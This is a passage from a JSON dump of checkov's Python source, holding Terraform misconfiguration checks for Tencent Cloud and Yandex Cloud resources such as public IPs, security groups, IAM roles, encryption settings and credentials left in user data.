    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import (\n    BaseResourceCheck, CheckResult)\n\n\nclass CVMUserData(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CVM user data does not contain sensitive information\"\n        id = \"CKV_TC_13\"\n        supported_resources = ['tencentcloud_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict) -> CheckResult:\n        if conf.get(\"user_data_raw\") and (\"TENCENTCLOUD_SECRET_ID\" in conf[\"user_data_raw\"][0] or \"TENCENTCLOUD_SECRET_KEY\" in conf[\"user_data_raw\"][0]):\n            self.evaluated_keys = [\"user_data_raw\"]\n            return CheckResult.FAILED\n        if conf.get(\"user_data\") and (\"TENCENTCLOUD_SECRET_ID\" in conf[\"user_data\"][0] or \"TENCENTCLOUD_SECRET_KEY\" in conf[\"user_data\"][0]):\n            self.evaluated_keys = [\"user_data\"]\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CVMUserData()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceValueCheck\n\n\nclass TKELogAgentEnable(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud TKE clusters enable log agent\"\n        id = \"CKV_TC_6\"\n        supported_resources = ['tencentcloud_kubernetes_cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"log_agent/enabled\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = TKELogAgentEnable()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceCheck\n\n\nclass TKEPublicIpAssigned(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud TKE cluster is not assigned a public IP address\"\n        id = \"CKV_TC_7\"\n        supported_resources = ['tencentcloud_kubernetes_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"master_config\"):\n            for idx, mc in enumerate(conf[\"master_config\"]):\n                if mc.get(\"public_ip_assigned\") and mc[\"public_ip_assigned\"][0]:\n                    self.evaluated_keys = [f\"master_config/[{idx}]/public_ip_assigned\"]\n                    return CheckResult.FAILED\n                if mc.get(\"public_ip_assigned\") is None and mc.get(\"internet_max_bandwidth_out\") and mc[\"internet_max_bandwidth_out\"][0] > 0:\n                    self.evaluated_keys = [f\"master_config/[{idx}]/internet_max_bandwidth_out\"]\n                    return CheckResult.FAILED\n\n        if conf.get(\"worker_config\"):\n            for idx, mc in enumerate(conf[\"worker_config\"]):\n                if mc.get(\"public_ip_assigned\") and mc[\"public_ip_assigned\"][0]:\n                    self.evaluated_keys = [f\"worker_config/[{idx}]/public_ip_assigned\"]\n                    return CheckResult.FAILED\n                if mc.get(\"public_ip_assigned\") is None and mc.get(\"internet_max_bandwidth_out\") and mc[\"internet_max_bandwidth_out\"][0] > 0:\n                    self.evaluated_keys = [f\"worker_config/[{idx}]/internet_max_bandwidth_out\"]\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = TKEPublicIpAssigned()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass VPCFlowLogConfigEnable(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud VPC flow logs are enabled\"\n        id = \"CKV_TC_14\"\n        supported_resources = ['tencentcloud_vpc_flow_log_config']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'enable/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [False]\n\n\ncheck = VPCFlowLogConfigEnable()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceCheck\n\n\nclass VPCSecurityGroupRuleSet(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud VPC security group rules do not accept all traffic\"\n        id = \"CKV_TC_8\"\n        supported_resources = ['tencentcloud_security_group_rule_set']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"ingress\"):\n            for i in conf[\"ingress\"]:\n                if i.get(\"action\") and i[\"action\"][0] != \"ACCEPT\":\n                    continue\n                if i.get(\"cidr_block\") is None and i.get(\"ipv6_cidr_block\") is None:\n                    continue\n                if i.get(\"cidr_block\") and i[\"cidr_block\"][0] != \"0.0.0.0/0\":\n                    continue\n                if i.get(\"ipv6_cidr_block\") and (i[\"ipv6_cidr_block\"][0] not in [\"::/0\", \"0::0/0\"]):\n                    continue\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"ingress\"]\n\n\ncheck = VPCSecurityGroupRuleSet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/__init__.py",
    "content": "import glob\nfrom os.path import basename, dirname, isfile, join\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ComputeInstanceGroupPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure compute instance group does not have public IP.\"\n        id = \"CKV_YC_18\"\n        categories = (CheckCategories.NETWORKING,)\n        supported_resources = (\"yandex_compute_instance_group\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"instance_template/[0]/network_interface/[0]/nat\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = ComputeInstanceGroupPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ComputeInstanceGroupSecurityGroup(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure compute instance group has security group assigned.\"\n        id = \"CKV_YC_22\"\n        supported_resources = (\"yandex_compute_instance_group\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"instance_template/[0]/network_interface/[0]/security_group_ids\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ComputeInstanceGroupSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ComputeVMPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure compute instance does not have public IP.\"\n        id = \"CKV_YC_2\"\n        categories = (CheckCategories.NETWORKING,)\n        supported_resources = (\"yandex_compute_instance\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"network_interface/[0]/nat\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = ComputeVMPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ComputeVMSecurityGroup(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group is assigned to network interface.\"\n        id = \"CKV_YC_11\"\n        supported_resources = (\"yandex_compute_instance\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"network_interface/[0]/security_group_ids\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ComputeVMSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ComputeVMSerialConsole(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure compute instance does not have serial console enabled.\"\n        id = \"CKV_YC_4\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_compute_instance\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"metadata/[0]/serial-port-enable\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = ComputeVMSerialConsole()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py",
    "content": "from typing import List, Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass IAMCloudElevatedMembers(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure cloud member does not have elevated access.\"\n        id = \"CKV_YC_13\"\n        categories = (CheckCategories.IAM,)\n        supported_resources = (\"yandex_resourcemanager_cloud_iam_binding\", \"yandex_resourcemanager_cloud_iam_member\")\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"role\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"admin\", \"editor\"]\n\n\ncheck = IAMCloudElevatedMembers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py",
    "content": "from typing import List, Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass IAMFolderElevatedMembers(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure folder member does not have elevated access.\"\n        id = \"CKV_YC_23\"\n        categories = (CheckCategories.IAM,)\n        supported_resources = (\"yandex_resourcemanager_folder_iam_binding\", \"yandex_resourcemanager_folder_iam_member\")\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"role\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"admin\", \"editor\"]\n\n\ncheck = IAMFolderElevatedMembers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py",
    "content": "from typing import List, Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass IAMOrganizationElevatedMembers(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure organization member does not have elevated access.\"\n        id = \"CKV_YC_21\"\n        categories = (CheckCategories.IAM,)\n        supported_resources = (\n            \"yandex_organizationmanager_organization_iam_binding\",\n            \"yandex_organizationmanager_organization_iam_member\",\n        )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"role\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"admin\", \"editor\", \"organization-manager.organizations.owner\", \"organization-manager.admin\"]\n\n\ncheck = IAMOrganizationElevatedMembers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass IAMPassportAccountUsage(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.\"\n        id = \"CKV_YC_24\"\n        categories = (CheckCategories.IAM,)\n        supported_resources = (\n            \"yandex_resourcemanager_folder_iam_binding\",\n            \"yandex_resourcemanager_folder_iam_member\",\n            \"yandex_resourcemanager_cloud_iam_binding\",\n            \"yandex_resourcemanager_cloud_iam_member\",\n            \"yandex_organizationmanager_organization_iam_binding\",\n            \"yandex_organizationmanager_organization_iam_member\",\n        )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if self.entity_type == \"yandex_resourcemanager_folder_iam_binding\":\n            for member in conf[\"members\"][0]:\n                if member.startswith(\"userAccount\"):\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        if self.entity_type == \"yandex_resourcemanager_folder_iam_member\":\n            if conf[\"member\"][0].startswith(\"userAccount\"):\n                return CheckResult.FAILED\n        if self.entity_type == \"yandex_resourcemanager_cloud_iam_binding\":\n            for member in conf[\"members\"][0]:\n                if member.startswith(\"userAccount\"):\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        if self.entity_type == \"yandex_resourcemanager_cloud_iam_member\":\n            if conf[\"member\"][0].startswith(\"userAccount\"):\n                return CheckResult.FAILED\n        if self.entity_type == \"yandex_organizationmanager_organization_iam_binding\":\n            for member in conf[\"members\"][0]:\n                if member.startswith(\"userAccount\"):\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        if self.entity_type == \"yandex_organizationmanager_organization_iam_member\":\n            if conf[\"member\"][0].startswith(\"userAccount\"):\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"members\", \"member\"]\n\n\nscanner = IAMPassportAccountUsage()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass K8SAutoUpgrade(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Kubernetes cluster auto-upgrade is enabled.\"\n        id = \"CKV_YC_7\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_kubernetes_cluster\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"master/[0]/maintenance_policy/[0]/auto_upgrade\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = K8SAutoUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass K8SEtcdKMSEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure etcd database is encrypted with KMS key.\"\n        id = \"CKV_YC_10\"\n        supported_resources = (\"yandex_kubernetes_cluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_provider/[0]/key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = K8SEtcdKMSEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass K8SNetworkPolicy(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure network policy is assigned to Kubernetes cluster.\"\n        id = \"CKV_YC_16\"\n        supported_resources = (\"yandex_kubernetes_cluster\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"network_policy_provider\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = K8SNetworkPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass K8SNodeGroupAutoUpgrade(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Kubernetes node group auto-upgrade is enabled.\"\n        id = \"CKV_YC_8\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_kubernetes_node_group\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"maintenance_policy/[0]/auto_upgrade\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = K8SNodeGroupAutoUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass K8SNodeGroupPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Kubernetes cluster node group does not have public IP addresses.\"\n        id = \"CKV_YC_6\"\n        categories = (CheckCategories.NETWORKING,)\n        supported_resources = (\"yandex_kubernetes_node_group\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"instance_template/[0]/network_interface/[0]/nat\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = K8SNodeGroupPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass K8SNodeGroupSecurityGroup(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group is assigned to Kubernetes node group.\"\n        id = \"CKV_YC_15\"\n        supported_resources = (\"yandex_kubernetes_node_group\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"instance_template/[0]/network_interface/[0]/security_group_ids\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = K8SNodeGroupSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass K8SPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Kubernetes cluster does not have public IP address.\"\n        id = \"CKV_YC_5\"\n        categories = (CheckCategories.NETWORKING,)\n        supported_resources = (\"yandex_kubernetes_cluster\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"master/[0]/public_ip\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = K8SPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass K8SSecurityGroup(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group is assigned to Kubernetes cluster.\"\n        id = \"CKV_YC_14\"\n        supported_resources = (\"yandex_kubernetes_cluster\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"master/[0]/security_group_ids\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = K8SSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass KMSSymmetricKeyRotation(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure KMS symmetric key is rotated.\"\n        id = \"CKV_YC_9\"\n        supported_resources = (\"yandex_kms_symmetric_key\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"rotation_period\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = KMSSymmetricKeyRotation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass MDBPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure public IP is not assigned to database cluster.\"\n        id = \"CKV_YC_12\"\n        categories = (CheckCategories.NETWORKING,)\n        supported_resources = (\n            \"yandex_mdb_postgresql_cluster\",\n            \"yandex_mdb_sqlserver_cluster\",\n            \"yandex_mdb_mysql_cluster\",\n            \"yandex_mdb_mongodb_cluster\",\n            \"yandex_mdb_kafka_cluster\",\n            \"yandex_mdb_greenplum_cluster\",\n            \"yandex_mdb_elasticsearch_cluster\",\n            \"yandex_mdb_clickhouse_cluster\",\n        )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"yandex_mdb_kafka_cluster\":\n            return \"config/[0]/assign_public_ip\"\n        if self.entity_type == \"yandex_mdb_greenplum_cluster\":\n            return \"assign_public_ip\"\n        return \"host/[0]/assign_public_ip\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = MDBPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass MDBSecurityGroup(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group is assigned to database cluster.\"\n        id = \"CKV_YC_1\"\n        supported_resources = (\n            \"yandex_mdb_postgresql_cluster\",\n            \"yandex_mdb_sqlserver_cluster\",\n            \"yandex_mdb_redis_cluster\",\n            \"yandex_mdb_mysql_cluster\",\n            \"yandex_mdb_mongodb_cluster\",\n            \"yandex_mdb_kafka_cluster\",\n            \"yandex_mdb_greenplum_cluster\",\n            \"yandex_mdb_elasticsearch_cluster\",\n            \"yandex_mdb_clickhouse_cluster\",\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"security_group_ids\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = MDBSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ObjectStorageBucketEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure storage bucket is encrypted.\"\n        id = \"CKV_YC_3\"\n        supported_resources = (\"yandex_storage_bucket\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"server_side_encryption_configuration/[0]/rule/[0]/apply_server_side_encryption_by_default/[0]/kms_master_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ObjectStorageBucketEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass ObjectStorageBucketPublicAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure storage bucket does not have public access permissions.\"\n        id = \"CKV_YC_17\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_storage_bucket\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"acl\" in conf.keys():\n            acl_block = conf[\"acl\"]\n            if acl_block in [[\"public-read\"], [\"public-read-write\"]]:\n                self.evaluated_keys = [\"acl\"]\n                return CheckResult.FAILED\n        if \"grant\" in conf.keys():\n            grant_uri_block = conf[\"grant\"][0][\"uri\"]\n            if grant_uri_block == [\"http://acs.amazonaws.com/groups/global/AllUsers\"]:\n                self.evaluated_keys = [\"grant\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\nscanner = ObjectStorageBucketPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass VPCSecurityGroupAllowAll(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group does not contain allow-all rules.\"\n        id = \"CKV_YC_19\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_vpc_security_group\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"ingress\" in conf.keys():\n            cidr_block = conf[\"ingress\"][0][\"v4_cidr_blocks\"]\n            self.evaluated_keys = [\"ingress/[0]/v4_cidr_blocks\"]\n            for cidr in cidr_block[0]:\n                if cidr == \"0.0.0.0/0\":\n                    if \"port\" in conf[\"ingress\"][0].keys():\n                        if conf[\"ingress\"][0][\"port\"][0] == -1:\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n                    if \"from_port\" not in conf[\"ingress\"][0].keys() and \"to_port\" not in conf[\"ingress\"][0].keys():\n                        return CheckResult.FAILED\n                    if conf[\"ingress\"][0][\"from_port\"][0] == 0 and conf[\"ingress\"][0][\"to_port\"][0] == 65535:\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\nscanner = VPCSecurityGroupAllowAll()\n"
  },
  {
